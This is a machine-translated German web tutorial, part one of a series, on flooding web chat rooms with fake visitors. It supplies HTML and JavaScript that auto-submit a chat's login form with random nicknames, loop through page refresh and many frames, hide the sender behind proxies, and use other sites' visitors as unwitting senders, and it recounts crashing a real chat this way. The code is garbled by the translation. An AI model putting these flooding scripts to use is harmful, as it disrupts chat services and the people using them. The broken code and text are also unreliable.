This page has been robot translated, sorry for typos if any. Original content here.

Anti-Chat oder Nick-Überschwemmung Teil 1

Fortsetzung >>>


Wenn wir das Thema FA beenden, haben wir beschlossen, einen anderen Artikel zu schreiben, der nun genau seinem Titel entspricht. Achtung: Verwenden Sie diese nur zur Bekämpfung der "frostgebissenen" Administratoren, die aus dem Untätigkeit oder um ihre Fähigkeiten zu zeigen, aus dem Chat aus irgendeinem Grund auch ohne sie geworfen werden. Verwenden Sie dieses Tool nicht in Chatrooms, wo Sie sich entfremdet haben Du wirst niemanden mit dir reden lassen , denn eine beeindruckende Anzahl von verschiedenen "Leuten" wird in den Chat eintreten, und es werden so viele von ihnen geben, die du nicht im Chat ausdrücken kannst ... Mit anderen Worten, es ist "Nick Flooding" oder füllt den Chat mit nicht vorhandenen Besuchern.

Wir speichern die Startseite auf die Festplatte.
Um zu implementieren, benötigen Sie einen Chat mit einem Eintrag ohne Registrierung, sowie wenig Kenntnis von HTML (obwohl was es ist). Wir speichern die Startseite des Chats, hier heißt es "Enter your Spickname"

Der Code ist das

<Html> <Körper> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - wo die Daten gesendet werden
Geben Sie Ihren Spitznamen ein: <input type = text name = Nick > - Hier geben Sie einen Spitznamen ein
<INPUT name = color type = versteckter Wert = rot> - malen
<INPUT type = submit value = "Start !!!" > - Taste

..................... </ html> </ body>

Und so sieht es im Browser aus: Geben Sie Ihren Spitznamen ein

Wenn Sie eine Start-Seite als Frames geladen haben, d.h. Sie können die Meldung bereits sehen, am unteren Rand steht "Enter your Spitzname" (in der Regel ist dies der niedrigste Rahmen) Sie müssen dort klicken (unten), klicken Sie mit der rechten Maustaste auch "View as html" dort sehen Sie auch, dass auch im Hauptfall ist es möglich, dass der Code wird komplizierter.

Wenn du in der Lage bist, mit einem Chat von der Festplatte zu arbeiten, ist es auch in diesem Chat möglich, dann wird der Code des unteren Rahmens nach dem ersten Phrase folgendes haben:

<Html> <Körper> ......................

<FORM action = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - wo die Daten gesendet werden
<Eingabetyp = versteckter Name = Nickwert = Dein Spitzname> - Spitzname (überhaupt nicht zu sehen)
<INPUT name = color type = versteckter Wert = rot> - Farbe
Geben Sie den Ausdruck <INPUT TYPE = TEXT name = say size = "24"> - das Eingabefeld für die Phrase
<INPUT type = submit value = "Saying !!!" Aufgaben

..................... </ html> </ body>

Wenn dieser Chat unter http://www.domen.ru steht, dann in der Zeile <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> wir registrieren diese Adresse auch: <FORM action = Http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> jetzt diese Datei ausführen, wir gehen auch von ihm zu chat, name = " chat_x " kann abwesend sein, dann Die Zeit darf es selbst hinzufügen. Statt chat_x kann es auch als Freund bezeichnet werden. Wenn du aus dieser Datei in den Chat kommst, geh zum nächsten Artikel.

Das erste Feature: generiere "Besucher Chat"

Wenn wir einen Spitznamen für unsere Zwecke verwenden, dann wird er nicht mehr als 2-3 Phrasen strecken ... wird herausgeworfen werden. So ist es notwendig, dass der Spitzname immer immer anders war, wir werden Java-Skript helfen (du brauchst es nicht zu wissen, einfach deine Nummern) Math.floor (Math.random () * 100000000)

Ein Beispiel ist zu sehen, indem man auf die Schaltfläche klickt:


Erläuterung: Das mathematische Objekt Math: Math.random () erzeugt eine Zahl von 0 bis zu 1, dann wird diese Zahl mit Hilfe von Math.floor () abgerundet und muss so mit einer ganzen Zahl wie 10 multipliziert werden, dann eine Zahl von 0 bis zu 9, wenn multipliziert mit 100, dann bis zu 99, wenn multipliziert mit 1000, dann bis zu 999 auch. Dh. Die Länge der resultierenden Zahl ist kleiner oder gleich der Anzahl der Nullen, einschließlich der Zahl multipliziert mit .... Pfannkuchen, persönlich bereits verwirrt Lächle glücklich )) Im Beispiel (siehe unten) ist diese Nummer 100000000 Verursacht, was wir bekommen eine zufällige Zahl, wird dies ein Spitzname ...
Damit diese Nummer in das Formular für den Spitznamen passen kann, steck es in den Start der Seite, d.h. <Body onload = "Dokument. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)) " >> Achten Sie auf den Namen des Formulars (siehe Beispiel Html-Code Oben ist es gelb markiert), dies ist notwendig, damit die zufällige Zahl auch in das gewünschte Feld in die gewünschte Form passen kann.

Ein weiteres Merkmal: Senden von "Besuchern" an den Chat.

<Script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(Dokument. Chat_x .mit ()), 1000);
}
</ Script>

Dieses Skript, wie es war, "drückt" die "Submit" -Taste und sendet Daten aus dem Formular mit dem Namen chat_x, im Chat kann diese Schaltfläche als "Enter Chat" oder "Say" bezeichnet werden, es funktioniert mit einer Verzögerung von 1000 ms, so dass man zuerst sehen kann (Später können Sie 100), aber dann werden die Daten automatisch gesendet, aber dafür müssen Sie die Funktion submit submit () auf die Startseite unserer Seite registrieren. In der <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit ()"> jetzt, wenn die Seite geladen ist, wird eine Zufallszahl ausgewählt, dann wird sie in das chat_x Formular geschrieben Feld nick. Auch Daten aus der chat_x Form Gesendet an den Server, stellt sich heraus, dass der Chat ging an Menschen mit einem Spitznamen in Form von mehreren Zahlen.

Ein Beispiel für einen HTML-Code eines einfachen Chat-Flooders

<HTML> <HEAD> <TITLE> Chat Flooder </ TITLE>

<Script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(Dokument. Chat_x .mit ()), 1000);
}
</ Script>

</ HEAD>
<BODY bgColor = # 000066 onload = "Dokument. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x ">
<Eingabename = Farbtyp = versteckter Wert = rot>
Nick: <input name = nick type = text>
<INPUT type = submit value = " Start !!! ">
</ BODY> </ HTML>

Die letzte ... persönlich überschwemmt

Um dies zu tun, essen drei Wege.

1. Erstellen Sie eine Datei mit einem Frame-Paar, in einer Datei, die beim Hochladen erstellt einen Spitznamen sendet es auch an den Chat, nennen es forma.htm, aber in einem anderen Frame eine andere Datei habe ich in der Probe ist yo.htm. Und speichern Sie es mit dem Namen frames.htm Der Code für dieses Dokument wird sein:

Der Inhalt der Datei frames.htm

<Html> <head> <title> Chat Flooder </ title> </ head>
<Frameset rows = "*, 100">
<Frame name = "main" src = " forma.htm ">
<Frame name = " send " src = " yo.htm ">
<Noframes> <Körper>
<P> Diese Seite verwendet Frames, aber dein Browser unterstützt sie nicht. </ P>
</ Body> </ noframes> </ frameset>

Der Name des Senderahmens wurde speziell zugeteilt, weil Die Daten werden so gesendet, dass die Datei filea.htm nach dem Upload nicht entladen wird. Als nächstes fügen Sie im Code forma.htm folgendes hinzu: im <FORM action = ..... target = " send "> tag und in der Quelle der Zeile: <meta http-equiv = "Refresh" content = "1"> so dass die Datei selbst Jede Sekunde aktualisiert und Timer = 0 gesetzt. Was passiert ist: Die Datei wird aktualisiert auch sendet an den Chat des Besuchers, kann es im Rahmen mit dem Namen SEND gesehen werden. Statt der yo.htm-Datei erscheint ein Chat, dann wird forma.htm erneut aktualisiert und sendet wieder eine neue Stimme in den Chat, es wird auch wieder aktualisiert und wieder geht der Chat neu ... so weiter nach unendlich :) Die Bildwiederholfrequenz basiert auf der Verbindungsgeschwindigkeit.

Beispiel für den Inhalt der Datei forma.htm

<HTML>
<HEAD> <TITLE> Chat Flooder </ TITLE>
<Meta http-equiv = "Refresh" content = " 1 ">
<Script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(Dokument. Chat_x .mit ())", 0 );
}
</ Script>

</ HEAD>
<BODY bgColor = # 000066 onload = "Dokument. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x " target = " senden ">
<Eingabename = Farbtyp = versteckter Wert = rot>
Nick: <input name = nick type = text>
<Eingabe Name = Passwort Typ = versteckter Wert = "">
<INPUT type = submit value = " Start !!! ">
</ BODY> </ HTML>

2 Methode. Zuerst machen wir 4 Dateien, die sich nur in der Verzögerung unterscheiden, wenn man auch eine Bilddatei sendet, in der es zB 16 (!) Frames gibt, in den ersten vier die erste Datei in diesem Timer = setTimeout ("(document.chat_x.submit ()), 1000 ); In den anderen vier Frames wird die zweite Datei geladen, in der die Verzögerung 10.000 ist. Im dritten vierten, 30.000. Nun, im vierten vierten wird die vierte Datei mit einer Verzögerung von 40.000 geladen. Alle 10.000 ms werden von 4 "Leuten" besucht und alle unterschiedlich, obwohl sie in Form von Zahlen sein werden, aber das ist Müll ... Wenn du das Anmeldeformular benutzt hast, werden alle in den Chat "gehen", aber wenn das Formular, die Nachricht zu senden, dann Es ist erlaubt, einen anderen Absatz des Textes als eine Nachricht zu schreiben, zu diesem Zeitpunkt jeder erzeugte Spitzname beginnt zu sprechen ... Experiment, versuchen Sie andere Varianten mit Frames ...

Es bleibt nur zu verbergen Ihre IP, es ist erlaubt, A4Proxy verwenden , wählen Sie eine große Liste von Servern ....

3 Methode. Wenn du eine Seite hast, um zu essen, dann kannst du diese Dateien darauf legen, zum Beispiel in einem versteckten Rahmen, während IP immer anders sein wird ...

Chat abholen :)

Chats, die das System von privaten Computern verwenden, sind so angeordnet, dass sie ständig in Kontakt mit dem Computer des Benutzers sind, d.h. Ständig generieren für ihn den Fluss der Nachrichten, verfolgen Sie, ob er noch nicht getrennt hat, auch wenn die Benutzer eine Menge Dinge tun, dann kann der Chat nicht dem "Fall" standhalten. Also, gerade jetzt waren wir in einem Chat, der einem Maximum von 70 Einzelpersonen standhalten kann, dann hört es einfach auf zu arbeiten, auch wenn die Startseite auch geladen ist ... Setzen Sie diesen Chat "manuell" war nicht schwierig, es war notwendig, nur eine Datei zu erstellen, die Spitznamen erzeugt, sendet sie an Chat, eine Minute nach dem Start dieser Datei, im Chat auf die vorhandenen 23-m gab es ca. 50 Personen :) ) Auch es fällt (ich habe eine Datei aus vielen Frames, in denen es auch eine blah blah Datei gab) Und es sollte darauf hingewiesen werden, dass wir im Club waren, aber es gab eine beeindruckende Geschwindigkeit auch leistungsstarke Computer :) . Kann man auch mit dem Modem ausmachen (wie zB mit jemandem auch sofort zu starten), oder erstmal es selbst ausprobieren, weiß ich nicht ... Vergiss nicht, dass der Chat auch die Admins protokolliert, danach scheint es zu sehen, wie es war :) Jetzt ist der Zugriff von der IP-Adresse des Internetclubs "GeForce" in diesem Chat geschlossen :)

FAQ: Wenn es in keiner Weise funktioniert

FlooDer : Ich kann nichts machen :)
Versuche es zuerst, nur mit der Scheibe zu plaudern, d.h. Aus der gespeicherten Form der Eingabe, wenn alles herauskam, dann der Fehler im Code "script-flooder" :) , Wenn es nicht klappt, dann lesen Sie weiter ...

FlooDer : Ich kam von der Festplatte, jetzt kann ich die Daten nicht in irgendeiner Weise senden :) Was zu handeln
Überprüfen Sie die Richtigkeit des Namens der Formulare (name = XxXxX)

FlooDer : In der Zeile <FORM action = http: //www.***.ru/chat.cgi method = post> common no name = "XxXxX" , was zu handeln?
Setzen Sie sich ein: (name = "chat_x" target = "senden") Ziel - so dass die Daten an den Senderahmen gesendet werden, funktioniert es wie folgt: <FORM action = http: //www.***.ru/chat.cgi method = post name = "Chat_x" target = "senden ">

FlooDer: Wenn du den Chat betrittst , musst du ein Passwort eingeben, es passt jeden, wenn kein Spitzname in irgendeiner Weise registriert ist, wie man ihn in den Code schreibt?
In der Form für die Eingabe des Passwortes müssen Sie hinzufügen: value = "abrakadabra" dann wird dieses Passwort von allen generierten "Benutzer"

Fortsetzung >>>

Jetzt können alle Artikel veröffentlichen
Versuche es zuerst!
Artikel schreiben

Es wird nicht überflüssig für Ihre Freunde, diese Informationen zu lernen, teilen Sie ihren Artikel mit ihnen!

Mochte es Abonnieren Sie RSS news!
Sie können auch shram.kiev.ua unterstützen, drücken:
Expand / Collapse Erweitern / Einklappen mit Kommentaren

Kommentare

Erinnern Sie sich daran, dass der Inhalt und der Ton Ihrer Botschaft die Gefühle von echten Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, auch wenn Sie ihre Meinung nicht teilen, Ihr Verhalten in den Bedingungen der Meinungsfreiheit und Anonymität, die vom Internet bereitgestellt werden, Änderungen Nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare sind vom Index verborgen, Spam wird kontrolliert.
Darlehen frei mit einer Grenze von 15000 UAH.